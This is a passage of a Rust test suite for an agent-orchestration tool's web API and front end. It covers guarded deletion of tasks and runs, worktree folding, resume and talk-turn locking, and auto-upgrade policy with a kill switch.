21378 assert_eq!(
21379 find(&mid.id)["waits_on"],
21380 serde_json::json!([format!("{} (held)", root.short())])
21381 );
21382 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21383 }
21384
21385 #[tokio::test]
21386 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21387 let fx = Fixture::start().await;
21388 let q = fx.queue();
21389
21390 let mut t1 = Task::new(
21392 "Task 1".to_owned(),
21393 "Instruction 1".to_owned(),
21394 PathBuf::from("/repo"),
21395 Source::Human,
21396 );
21397 let run_id = "20260901-000000-r111";
21398 t1.runs.push(run_id.to_owned());
21399 write_run(&fx.runs(), run_id, RunStatus::Merged);
21400 q.put(&mut t1).expect("put t1");
21401
21402 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21404 assert_eq!(res.status, 204);
21405 assert!(res.body.is_empty(), "204 No Content has no body");
21406 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21407 assert!(
21408 fx.runs().join(run_id).exists(),
21409 "run directory must not be deleted when its task is deleted"
21410 );
21411
21412 let mut t2 = Task::new(
21414 "Task 2".to_owned(),
21415 "Instruction 2".to_owned(),
21416 PathBuf::from("/repo"),
21417 Source::Human,
21418 );
21419 t2.status = TaskStatus::Running;
21420 q.put(&mut t2).expect("put t2");
21421 let mut beat = crate::daemon::Status::new();
21422 beat.current = vec![crate::daemon::Current {
21423 worker: None,
21424 task: t2.id.clone(),
21425 run: "20260901-000000-r222".to_owned(),
21426 }];
21427 beat.updated_at = jiff::Timestamp::now();
21428 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21429 .expect("publish a heartbeat");
21430 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21431 assert_eq!(res.status, 409);
21432 assert!(
21433 res.json()["error"]
21434 .as_str()
21435 .unwrap()
21436 .contains("live daemon")
21437 );
21438 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21439
21440 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21446 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21447 .expect("leave a stale heartbeat");
21448 let mut t3 = Task::new(
21449 "Task 3".to_owned(),
21450 "Instruction 3".to_owned(),
21451 PathBuf::from("/repo"),
21452 Source::Human,
21453 );
21454 t3.status = TaskStatus::Running;
21455 q.put(&mut t3).expect("put t3");
21456 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21457 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21458 assert_eq!(res.status, 204);
21459 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21460 assert!(
21461 q.claim(&t3.id).is_ok(),
21462 "the stale lock went with it, so the id is claimable again"
21463 );
21464
21465 let res = fx.delete("/api/queue/nonexistent").await;
21467 assert_eq!(res.status, 404);
21468 }
21469
21470 #[tokio::test]
21471 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21472 let fx = Fixture::start().await;
21473 let runs = fx.runs();
21474
21475 let run_id = "20260901-000000-fold";
21477 let mut state = RunState::new(
21478 PathBuf::from("/repo"),
21479 "main".to_owned(),
21480 "abc".to_owned(),
21481 "instruction".to_owned(),
21482 Config::default(),
21483 );
21484 state.id = run_id.to_owned();
21485 state.status = RunStatus::Merged;
21486 state.candidates.push(crate::run::Candidate {
21487 index: 0,
21488 label: 'A',
21489 agent: "a".to_owned(),
21490 branch: "b".to_owned(),
21491 worktree: PathBuf::from("/w"),
21492 summary: String::new(),
21493 stat: String::new(),
21494 files: 1,
21495 commits: 1,
21496 empty: false,
21497 failed: None,
21498 verified_noop: None,
21499 duration_ms: 0,
21500 folded: true,
21501 });
21502 let dir = runs.join(run_id);
21503 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21504 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21505 .expect("write artifact");
21506 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21507 .expect("write run.json");
21508
21509 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21511 assert_eq!(res.status, 204);
21512 assert!(res.body.is_empty(), "204 has no body");
21513 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21514
21515 let run_running = "20260901-000000-rung";
21520 write_run(&runs, run_running, RunStatus::Prep);
21521 let mut beat = crate::daemon::Status::new();
21522 beat.current = vec![crate::daemon::Current {
21523 worker: None,
21524 task: "20260901-000000-task".to_owned(),
21525 run: run_running.to_owned(),
21526 }];
21527 beat.updated_at = jiff::Timestamp::now();
21528 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21529 .expect("publish a heartbeat");
21530 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21531 assert_eq!(res.status, 409);
21532 assert!(
21533 res.json()["error"]
21534 .as_str()
21535 .unwrap()
21536 .contains("live daemon"),
21537 "the refusal must say who is holding it"
21538 );
21539 assert!(
21540 runs.join(run_running).exists(),
21541 "a run in flight keeps its directory"
21542 );
21543
21544 let run_unfolded = "20260901-000000-unfd";
21546 let mut state2 = RunState::new(
21547 PathBuf::from("/repo"),
21548 "main".to_owned(),
21549 "abc".to_owned(),
21550 "instruction".to_owned(),
21551 Config::default(),
21552 );
21553 state2.id = run_unfolded.to_owned();
21554 state2.status = RunStatus::Ready;
21555 state2.candidates.push(crate::run::Candidate {
21556 index: 0,
21557 label: 'A',
21558 agent: "a".to_owned(),
21559 branch: "b".to_owned(),
21560 worktree: PathBuf::from("/w"),
21561 summary: String::new(),
21562 stat: String::new(),
21563 files: 1,
21564 commits: 1,
21565 empty: false,
21566 failed: None,
21567 verified_noop: None,
21568 duration_ms: 0,
21569 folded: false,
21570 });
21571 let dir2 = runs.join(run_unfolded);
21572 std::fs::create_dir_all(&dir2).expect("create dir2");
21573 std::fs::write(
21574 dir2.join("run.json"),
21575 serde_json::to_string(&state2).unwrap(),
21576 )
21577 .expect("write run.json");
21578
21579 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21580 assert_eq!(res.status, 409);
21581 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21582 assert!(dir2.exists(), "unfolded run directory is kept");
21583
21584 let res = fx.delete("/api/runs/nonexistent").await;
21586 assert_eq!(res.status, 404);
21587 }
21588
21589 #[test]
21598 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21599 let start = APP_JS
21600 .find("function renderStats() {")
21601 .expect("renderStats");
21602 let end = start
21603 + APP_JS[start..]
21604 .find("function statsTile(")
21605 .expect("the next top-level function");
21606 let body = &APP_JS[start..end];
21607
21608 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21609 let gate_end = gate_start
21610 + body[gate_start..]
21611 .find("}\n renderStatsQueue")
21612 .expect("the gate's own closing brace, right before the unconditional call");
21613 let gated = &body[gate_start..gate_end];
21614
21615 assert_eq!(
21616 body.matches("renderStatsQueue(").count(),
21617 1,
21618 "renderStats must call renderStatsQueue exactly once: {body}"
21619 );
21620 assert!(
21621 !gated.contains("renderStatsQueue"),
21622 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21623 run-derived panels on an empty run history - the queue panel has to render \
21624 regardless: {gated}"
21625 );
21626 }
21627
21628 #[test]
21629 fn web_ui_delete_contract_in_front_end() {
21630 assert!(APP_JS.contains("deleteRun:"));
21632 assert!(APP_JS.contains("deleteTask:"));
21633
21634 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21636 ..APP_JS.find("function renderRuns").unwrap()];
21637 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21638
21639 assert!(APP_JS.contains("renderRunDelete"));
21641 assert!(APP_JS.contains("runDeleteReason"));
21642 assert!(APP_JS.contains("magi fold"));
21643 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21644
21645 assert!(APP_JS.contains("cancel.focus"));
21647 assert!(APP_JS.contains("armedRunDelete"));
21648 assert!(APP_JS.contains("renderTaskDeleteBox"));
21649 assert!(APP_JS.contains("armed${cap(key)}"));
21650
21651 assert!(APP_JS.contains("disabled: status === \"running\""));
21653 }
21654
21655 #[test]
21675 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21676 let build = APP_JS
21677 .find("function createRunCard")
21678 .expect("createRunCard exists");
21679 let update = APP_JS
21680 .find("function updateRunCard")
21681 .expect("updateRunCard exists");
21682 let end = APP_JS
21683 .find("function renderRuns")
21684 .expect("renderRuns exists");
21685
21686 let builder = &APP_JS[build..update];
21688 let open = builder.find("refs = {").expect("createRunCard sets refs");
21689 let literal = &builder[open + "refs = {".len()..];
21690 let close = literal.find('}').expect("the refs literal is closed");
21691 let published: HashSet<&str> = literal[..close]
21692 .split(',')
21693 .filter_map(|entry| entry.split(':').next())
21695 .map(str::trim)
21696 .filter(|name| !name.is_empty())
21697 .collect();
21698 assert!(
21699 published.len() > 5,
21700 "the refs literal did not parse into names: {published:?}"
21701 );
21702
21703 let mut used: Vec<&str> = Vec::new();
21706 let updaters = &APP_JS[update..end];
21707 for (at, _) in updaters.match_indices("r.") {
21708 let before = updaters[..at].chars().next_back();
21711 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21712 continue;
21713 }
21714 let rest = &updaters[at + 2..];
21715 let len = rest
21716 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21717 .unwrap_or(rest.len());
21718 if len > 0 {
21719 used.push(&rest[..len]);
21720 }
21721 }
21722 assert!(
21723 used.len() > 5,
21724 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21725 );
21726
21727 let missing: Vec<&str> = used
21728 .iter()
21729 .copied()
21730 .filter(|name| !published.contains(name))
21731 .collect();
21732 assert!(
21733 missing.is_empty(),
21734 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21735 never put in `refs` - every card will throw and the list will \
21736 render empty under a count line that says otherwise. Published: \
21737 {published:?}"
21738 );
21739 }
21740
21741 #[tokio::test]
21742 async fn folding_from_the_phone_reports_what_it_removed() {
21743 let fx = Fixture::start().await;
21744 let runs = fx.runs();
21745
21746 let id = "20260901-000000-fold";
21750 write_run(&runs, id, RunStatus::Stalled);
21751 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21752 assert_eq!(res.status, 200);
21753 assert_eq!(res.json()["removed_count"], 0);
21754 assert_eq!(res.json()["run"], id);
21755 assert!(
21756 runs.join(id).exists(),
21757 "a fold keeps the run's record; only the worktrees go"
21758 );
21759 }
21760
21761 #[tokio::test]
21762 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21763 let fx = Fixture::start().await;
21764 let runs = fx.runs();
21765 let wt = fx.home.path().join("wt").join("magi").join("dead");
21766 let id = "20260901-000000-dead";
21767 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21768 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21769 std::fs::create_dir_all(&wt).expect("worktree dir");
21770
21771 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21772 assert_eq!(res.status, 200, "{}", res.body);
21773 assert!(
21774 res.json()["removed_count"].as_u64().unwrap() > 0,
21775 "the worktree this build could not read a state for still went"
21776 );
21777 assert!(
21778 !runs.join(id).exists(),
21779 "an unreadable run has no candidate list to fold selectively, so \
21780 the whole record goes - same as `magi fold` on the CLI"
21781 );
21782 }
21783
21784 #[tokio::test]
21785 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21786 let fx = Fixture::start().await;
21787 let runs = fx.runs();
21788 let wt = fx.home.path().join("wt").join("magi").join("gone");
21789 let id = "20260901-000000-gone";
21790 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21791 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21792 std::fs::create_dir_all(&wt).expect("worktree dir");
21793
21794 let res = fx.delete(&format!("/api/runs/{id}")).await;
21795 assert_eq!(res.status, 204, "{}", res.body);
21796 assert!(!runs.join(id).exists(), "the broken record is gone");
21797 assert!(!wt.exists(), "its worktree is gone too");
21798 }
21799
21800 #[tokio::test]
21801 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21802 let fx = Fixture::start().await;
21803 let runs = fx.runs();
21804 let id = "20260901-000000-live";
21805 write_run(&runs, id, RunStatus::Implementing);
21806
21807 let mut beat = crate::daemon::Status::new();
21808 beat.current = vec![crate::daemon::Current {
21809 worker: None,
21810 task: "20260901-000000-task".to_owned(),
21811 run: id.to_owned(),
21812 }];
21813 beat.updated_at = jiff::Timestamp::now();
21814 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21815 .expect("publish a heartbeat");
21816
21817 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21818 assert_eq!(res.status, 409);
21819 assert!(
21820 res.json()["error"]
21821 .as_str()
21822 .unwrap()
21823 .contains("live daemon"),
21824 "folding under a running agent would pull its worktree away"
21825 );
21826 }
21827
21828 #[tokio::test]
21829 async fn fold_merged_requires_a_pr_url() {
21830 let fx = Fixture::start().await;
21831 let runs = fx.runs();
21832 let id = "20260901-000000-nourl";
21833 write_run(&runs, id, RunStatus::Blocked);
21834
21835 let res = fx
21836 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21837 .await;
21838 assert_eq!(res.status, 400, "{}", res.body);
21839
21840 let blank = fx
21841 .post(
21842 &format!("/api/runs/{id}/fold-merged"),
21843 Some(r#"{"pr_url":" "}"#),
21844 )
21845 .await;
21846 assert_eq!(blank.status, 400, "{}", blank.body);
21847 }
21848
21849 #[tokio::test]
21850 async fn fold_merged_is_404_for_an_unknown_run() {
21851 let fx = Fixture::start().await;
21852 let res = fx
21853 .post(
21854 "/api/runs/nosuchrun/fold-merged",
21855 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21856 )
21857 .await;
21858 assert_eq!(res.status, 404, "{}", res.body);
21859 }
21860
21861 #[tokio::test]
21862 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21863 let fx = Fixture::start().await;
21864 let runs = fx.runs();
21865 let id = "20260901-000000-livemerge";
21866 write_run(&runs, id, RunStatus::Blocked);
21867
21868 let mut beat = crate::daemon::Status::new();
21869 beat.current = vec![crate::daemon::Current {
21870 worker: None,
21871 task: "20260901-000000-task".to_owned(),
21872 run: id.to_owned(),
21873 }];
21874 beat.updated_at = jiff::Timestamp::now();
21875 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21876 .expect("publish a heartbeat");
21877
21878 let res = fx
21879 .post(
21880 &format!("/api/runs/{id}/fold-merged"),
21881 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21882 )
21883 .await;
21884 assert_eq!(res.status, 409, "{}", res.body);
21885 assert!(
21886 res.json()["error"]
21887 .as_str()
21888 .unwrap()
21889 .contains("live daemon"),
21890 "correcting a run's merge underneath a running agent would race \
21891 whatever it is doing to the same `status`/`merge` fields"
21892 );
21893 }
21894
21895 #[tokio::test]
21900 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21901 let fx = Fixture::start().await;
21902 let runs = fx.runs();
21903 let id = "20260901-000000-unconfirmed";
21904 write_run(&runs, id, RunStatus::Blocked);
21905
21906 let res = fx
21907 .post(
21908 &format!("/api/runs/{id}/fold-merged"),
21909 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21910 )
21911 .await;
21912 assert_eq!(res.status, 400, "{}", res.body);
21913 assert_eq!(
21914 read_run(&runs, id).unwrap().status,
21915 RunStatus::Blocked,
21916 "a pull request that could not be confirmed merged must leave \
21917 the run exactly where it was"
21918 );
21919 }
21920
21921 #[tokio::test]
21922 async fn terminal_runs_cannot_be_resumed() {
21923 let fx = Fixture::start().await;
21924 let runs = fx.runs();
21925
21926 for (status, word) in [
21927 (RunStatus::Merged, "merged"),
21928 (RunStatus::Ready, "ready"),
21929 (RunStatus::Failed, "failed"),
21930 ] {
21931 let id = format!("20260901-000000-{}", &word[..4]);
21932 write_run(&runs, &id, status);
21933 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21934 assert_eq!(res.status, 409, "{word} must not be resumable");
21935 }
21936 }
21937
21938 #[tokio::test]
21939 async fn resume_is_refused_while_the_loop_is_running() {
21940 let fx = Fixture::start().await;
21941 let runs = fx.runs();
21942 let stalled = "20260901-000000-stal";
21943 write_run(&runs, stalled, RunStatus::Stalled);
21944
21945 let mut beat = crate::daemon::Status::new();
21949 beat.current = vec![crate::daemon::Current {
21950 worker: None,
21951 task: "20260901-000000-task".to_owned(),
21952 run: "20260901-000000-othr".to_owned(),
21953 }];
21954 beat.updated_at = jiff::Timestamp::now();
21955 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21956 .expect("publish a heartbeat");
21957
21958 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21959 assert_eq!(res.status, 409);
21960 let err = res.json()["error"].as_str().unwrap().to_owned();
21961 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21962 assert!(err.contains("stop it first"), "{err}");
21963 }
21964
21965 #[test]
21966 fn a_run_cannot_be_resumed_twice_at_once() {
21967 let home = TempDir::new().expect("temp home");
21968 let ui = Ui::new(
21969 Queue::at(home.path().join("queue")),
21970 Questions::at(home.path().join("questions")),
21971 Talks::at(home.path().join("talks")),
21972 home.path().join("runs"),
21973 home.path().to_path_buf(),
21974 PathBuf::from("/repo"),
21975 )
21976 .with_worktrees_root(home.path().join("wt"));
21977 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21978 let again = ui.begin_resume("20260901-000000-once");
21979 assert!(again.is_err(), "a second tap must not start a second graph");
21980 drop(first);
21981 assert!(
21982 ui.begin_resume("20260901-000000-once").is_ok(),
21983 "and the claim is released when the attempt ends"
21984 );
21985 }
21986
21987 #[test]
21988 fn talk_thinking_tracks_only_its_held_turn_claim() {
21989 let home = TempDir::new().expect("temp home");
21990 let ui = Ui::new(
21991 Queue::at(home.path().join("queue")),
21992 Questions::at(home.path().join("questions")),
21993 Talks::at(home.path().join("talks")),
21994 home.path().join("runs"),
21995 home.path().to_path_buf(),
21996 PathBuf::from("/repo"),
21997 )
21998 .with_worktrees_root(home.path().join("wt"));
21999 let id = "20260901-000000-once";
22000
22001 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22002 let turn = ui.begin_talk_turn(id).expect("claim turn");
22003 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22004 assert!(
22005 !ui.is_thinking("20260901-000000-other"),
22006 "one talk's turn does not make another talk busy"
22007 );
22008 drop(turn);
22009 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22010 }
22011
22012 #[test]
22013 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22014 let home = TempDir::new().expect("temp home");
22015 let talks = Talks::at(home.path().join("talks"));
22016 let ui = Ui::new(
22017 Queue::at(home.path().join("queue")),
22018 Questions::at(home.path().join("questions")),
22019 talks.clone(),
22020 home.path().join("runs"),
22021 home.path().to_path_buf(),
22022 PathBuf::from("/repo"),
22023 )
22024 .with_worktrees_root(home.path().join("wt"));
22025 let id = "20260901-000000-cross";
22026
22027 let other = Talks::at(home.path().join("talks"))
22028 .claim_turn(id)
22029 .expect("claim")
22030 .expect("the other process wins");
22031 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22032 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22033 assert!(
22034 matches!(
22035 ui.begin_talk_turn_unless_pending(id).expect("start"),
22036 TalkTurnStart::Foreign
22037 ),
22038 "a foreign holder is refused, not queued behind"
22039 );
22040 assert!(
22041 !ui.talk_turns.lock().unwrap().live.contains(id),
22042 "a refused claim leaves no in-process entry behind"
22043 );
22044 drop(other);
22045 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22046 assert!(talks.turn_held(id), "the web turn holds the lease");
22047 drop(turn);
22048 assert!(
22049 !talks.turn_held(id),
22050 "dropping the guard releases the lease"
22051 );
22052 }
22053
22054 fn consult_question(ui: &Ui) -> Question {
22055 let mut q = Question::new(
22056 "20260901-000000-consult".to_owned(),
22057 "implement".to_owned(),
22058 "impl-A".to_owned(),
22059 "Which backend?".to_owned(),
22060 String::new(),
22061 vec!["SQLite".to_owned(), "Redis".to_owned()],
22062 );
22063 ui.questions.put(&mut q).expect("question");
22064 q
22065 }
22066
22067 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22068 (
22069 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22070 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22071 )
22072 }
22073
22074 #[tokio::test]
22075 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22076 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22077 let q = consult_question(&ui);
22078 let talk = ui.talks.get(&id).expect("talk");
22079 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22080 let before = consult_snapshot(&ui, &q, &id);
22081 let cli_talks = Talks::at(ui.home.join("talks"));
22082 assert_eq!(
22083 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22084 .await
22085 .expect("CLI starter"),
22086 crate::consult::Started::Busy
22087 );
22088 assert_eq!(consult_snapshot(&ui, &q, &id), before);
22089 assert!(ui.is_thinking(&id));
22090 drop(guard);
22091 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22092 }
22093
22094 #[tokio::test]
22095 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22096 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22097 let q = consult_question(&ui);
22098 let talk = ui.talks.get(&id).expect("talk");
22099 let started = tmp.path().join("started");
22100 let release = tmp.path().join("release");
22101 let script = tmp.path().join("consult-agent.sh");
22102 std::fs::write(
22103 &script,
22104 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
22105 )
22106 .expect("script");
22107 let mut cfg = stub_config();
22108 cfg.agents[0].id = "mock".to_owned();
22109 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22110 cfg.agents[0].env = std::collections::BTreeMap::from([
22111 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22112 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22113 ]);
22114 let questions = ui.questions.clone();
22115 let cli_talks = Talks::at(ui.home.join("talks"));
22116 let cli_q = q.clone();
22117 let turn = tokio::spawn(async move {
22118 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22119 });
22120 let ready = tokio::time::timeout(Duration::from_secs(30), async {
22121 while !started.exists() {
22122 tokio::time::sleep(Duration::from_millis(10)).await;
22123 }
22124 })
22125 .await;
22126 let refusal = if ready.is_ok() {
22129 let before = consult_snapshot(&ui, &q, &id);
22130 let result = talk_say(
22131 State(Arc::clone(&ui)),
22132 Path(id.clone()),
22133 Ok(Json(NewTalkTurn {
22134 reply_to: None,
22135 text: "another message".to_owned(),
22136 attachments: Vec::new(),
22137 })),
22138 )
22139 .await;
22140 Some((result, before, consult_snapshot(&ui, &q, &id)))
22141 } else {
22142 None
22143 };
22144 std::fs::write(&release, "").expect("release agent");
22145 let done = turn.await.expect("join CLI turn");
22146 ready.expect("agent started before deadline");
22147 let (result, before, after) = refusal.expect("web request");
22148 let error = result.expect_err("web must refuse the CLI's turn");
22149 assert_eq!(error.status, StatusCode::CONFLICT);
22150 assert!(error.message.contains("a turn is already running"));
22151 assert_eq!(
22152 after, before,
22153 "refusal preserves question, draft and history"
22154 );
22155 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22156 let guard = ui
22157 .begin_talk_turn(&id)
22158 .expect("web claim")
22159 .expect("free again");
22160 drop(guard);
22161 }
22162
22163 #[test]
22164 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22165 let home = TempDir::new().expect("temp home");
22166 let talks = Talks::at(home.path().join("talks"));
22167 let ui = Ui::new(
22168 Queue::at(home.path().join("queue")),
22169 Questions::at(home.path().join("questions")),
22170 talks.clone(),
22171 home.path().join("runs"),
22172 home.path().to_path_buf(),
22173 PathBuf::from("/repo"),
22174 )
22175 .with_worktrees_root(home.path().join("wt"));
22176 let id = "20260901-000000-order";
22177 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22178 let slots = ui.talk_turns.lock().unwrap();
22180 let dropper = std::thread::spawn(move || drop(turn));
22181 let start = std::time::Instant::now();
22182 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22183 std::thread::sleep(Duration::from_millis(5));
22184 }
22185 assert!(!talks.turn_held(id), "the lease is released first");
22186 assert!(slots.live.contains(id), "the slot is still held meanwhile");
22187 drop(slots);
22188 dropper.join().expect("join");
22189 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22190 }
22191
22192 #[tokio::test]
22193 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22194 let fx = Fixture::start().await;
22195 let mut beat = crate::daemon::Status::new();
22196 beat.worker_protocol = None;
22197 beat.pid = 4321;
22198 beat.updated_at = jiff::Timestamp::now();
22199 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22200 .expect("publish a heartbeat");
22201
22202 let res = fx.post("/api/upgrade", None).await;
22203 assert_eq!(res.status, 409);
22204 }
22205
22206 #[test]
22213 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22214 assert!(!should_spawn_recheck(&crate::config::Update {
22215 mode: UpdateMode::Off,
22216 interval: None,
22217 auto_restart: false,
22218 }));
22219
22220 unsafe {
22223 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22224 }
22225 let killed = should_spawn_recheck(&crate::config::Update {
22226 mode: UpdateMode::Notify,
22227 interval: None,
22228 auto_restart: false,
22229 });
22230 unsafe {
22231 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22232 }
22233 assert!(
22234 !killed,
22235 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22236 one-time startup check"
22237 );
22238
22239 assert!(should_spawn_recheck(&crate::config::Update {
22240 mode: UpdateMode::Notify,
22241 interval: None,
22242 auto_restart: false,
22243 }));
22244 }
22245
22246 #[test]
22252 fn recheck_poll_period_tracks_a_short_configured_interval() {
22253 let short = crate::config::Update {
22254 mode: UpdateMode::Notify,
22255 interval: Some("1m".to_owned()),
22256 auto_restart: false,
22257 };
22258 let period = recheck_poll_period(&short);
22259 assert!(
22260 period <= Duration::from_secs(30),
22261 "a one-minute interval must wake the task far sooner than the \
22262 default ceiling, or the deck would not notice within the \
22263 interval the operator configured: got {period:?}"
22264 );
22265
22266 let default = crate::config::Update {
22267 mode: UpdateMode::Notify,
22268 interval: None,
22269 auto_restart: false,
22270 };
22271 assert_eq!(
22272 recheck_poll_period(&default),
22273 UPDATE_RECHECK_POLL_MAX,
22274 "the default day-long interval should poll at the (capped) \
22275 ceiling rather than needlessly often"
22276 );
22277 }
22278
22279 #[test]
22287 fn recheck_skips_the_network_before_the_interval_elapses() {
22288 let dir = TempDir::new().expect("temp dir");
22289 let path = dir.path().join("state.json");
22290 let state = kaishin::UpdateCheckState {
22291 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22292 last_known_latest: None,
22293 last_known_url: None,
22294 };
22295 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22296
22297 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22298 assert!(
22299 !update_recheck_due(&checker, None),
22300 "a check made moments ago must not be repeated before the \
22301 configured interval elapses"
22302 );
22303 }
22304
22305 #[test]
22311 fn recheck_defers_to_an_upgrade_already_in_flight() {
22312 let dir = TempDir::new().expect("temp dir");
22313 let path = dir.path().join("state.json");
22314 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22315 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22316
22317 assert!(
22318 !update_recheck_due(&checker, Some(&progress)),
22319 "a recheck must not run while an upgrade this deck started is \
22320 still moving"
22321 );
22322 }
22323
22324 #[tokio::test]
22325 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22326 unsafe {
22338 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22339 }
22340 let fx = Fixture::start().await;
22341 let res = fx.post("/api/upgrade", None).await;
22342 unsafe {
22343 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22344 }
22345 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22346 let body = res.json();
22347 assert!(body["to"].is_null(), "there was no release to move to");
22348 assert!(body["parked"].is_null(), "and nothing was parked");
22349 assert!(
22350 body["detail"]
22351 .as_str()
22352 .unwrap()
22353 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22354 "{body:?}"
22355 );
22356 }
22357
22358 #[test]
22359 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22360 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22361 let mut cfg = Update::default();
22362 assert!(matches!(
22363 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22364 Skip(_)
22365 ));
22366 cfg.auto_restart = true;
22367 assert_eq!(
22368 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22369 Trigger
22370 );
22371 assert_eq!(
22372 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22373 Wait
22374 );
22375 for (disabled, moving, failed) in [
22376 (true, false, None),
22377 (false, true, None),
22378 (false, false, Some("v2")),
22379 ] {
22380 assert!(matches!(
22381 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22382 Skip(_)
22383 ));
22384 }
